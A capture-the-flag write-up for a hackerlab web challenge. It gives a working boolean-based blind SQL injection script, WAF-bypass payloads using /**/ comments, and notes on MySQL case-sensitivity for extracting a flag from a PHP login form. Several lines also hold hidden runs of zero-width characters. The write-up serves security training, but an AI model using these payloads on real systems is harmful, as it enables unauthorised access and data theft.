← Back to Writeups
CUSTOMMediumWeb

Базовая авторизация 2 (Basic Auth 2)

XESXOR9/10/20262 min read
#web#custom#medium#boolean-based-blind-sql-inject#character-by-character-extract#mysql-case-sensitivity-awarene#waf-bypass-using-sql-comments-

Базовая авторизация 2 (Basic Auth 2)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-01-03 | Status: Solved Techniques: Boolean-based blind SQL injection, Character-by-character extraction with substring(), MySQL case-sensitivity awareness (BINARY keyword), WAF bypass using SQL comments /**/

Summary

Task: PHP login form with WAF filtering spaces in SQL queries. Solution: WAF bypass using SQL comments /**/ for boolean-based blind SQLi, character-by-character flag extraction with BINARY keyword for case-sensitive comparison.

Базовая авторизация 2 — hackerlab

Description

Я решил переделать свой прошлый проект и переписал его на PHP, а также добавил защитные фильтры. Держи тестовые креды: login=test, password=test.

URL: http://62.173.140.174:16015/

Analysis

  1. Application review: PHP application with a login form that sends data to /user.php via GET method

  2. Test credentials: Testing with test:test works, shows "User ID: 1"

  3. SQL query in comments: Found a comment in the HTML source:

    html
    <!--SELECT * FROM users WHERE login='test'-->

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. WAF detection: Basic SQL injections are blocked - WAF filters requests with spaces between SQL keywords

  2. WAF bypass: SQL comments /**/ successfully replace spaces:

    '/**/or/**/'1'='1
    

Solution

Step 1: Confirming SQL Injection

login='/**/or/**/'1'='1&password=test

Result: User ID is returned - injection works!

Step 2: Database Structure Reconnaissance

Boolean-based blind SQLi to determine structure:

python
# Check if flags table exists
'/**/or/**/(select/**/count(*)/**/from/**/flags)>0/**/--

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Determining Flag Length

python
'/**/or/**/(select/**/length(flag)/**/from/**/flags/**/limit/**/1)=29/**/--

Flag length: 29 characters

Step 4: Character-by-Character Flag Extraction

python
#!/usr/bin/env python3
import requests

url = "http://62.173.140.174:16015/user.php"
flag = ""
charset = "CODEBY{}abcdefghijklmnopqrstuvwxyz0123456789_"

for pos in range(1, 30):
    for char in charset:
        payload = f"'/**/or/**/substring((select/**/flag/**/from/**/flags/**/limit/**/1),{pos},1)='{char}"
        params = {"login": payload, "password": "test"}
        r = requests.get(url, params=params)
        
        if "User ID" in r.text:
            flag += char
            print(f"[+] Position {pos}: {char} -> {flag}")
            break
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(f"\n[*] Flag: {flag}")

Important Lesson: Case-Sensitivity in MySQL

Problem: When extracting characters, both 'A' and 'a' gave positive results!

Reason: MySQL performs case-insensitive string comparison by default.

Solution: Use the BINARY keyword for case-sensitive comparison:

sql
binary/**/substring((select/**/flag/**/from/**/flags/**/limit/**/1),POS,1)='a'

The correct flag uses lowercase letters inside the curly braces.

WAF Bypass Techniques

BlockedBypass
' or '1'='1'/**/or/**/'1'='1
SELECT * FROMSELECT/**/*/**/FROM
UNION SELECTUNION/**/SELECT
substring(substring/**/( or mid(
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

MySQL Case-Sensitivity

sql
-- Case-insensitive (default)
SELECT * FROM t WHERE col = 'ABC';  -- finds 'abc', 'ABC', 'Abc'

-- Case-sensitive
SELECT * FROM t WHERE BINARY col = 'ABC';  -- only 'ABC'

-- Alternative: comparison via ASCII
SELECT * FROM t WHERE ASCII(SUBSTRING(col,1,1)) = 65;  -- only 'A' (code 65)

Conclusions

  1. WAF bypass: SQL comments /**/ - classic method to bypass space filters
  2. Boolean-based SQLi: When there's no error output, use response differences
  3. MySQL collation: Always consider case-sensitivity when extracting data
  4. BINARY keyword: Required for exact character comparison in MySQL ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍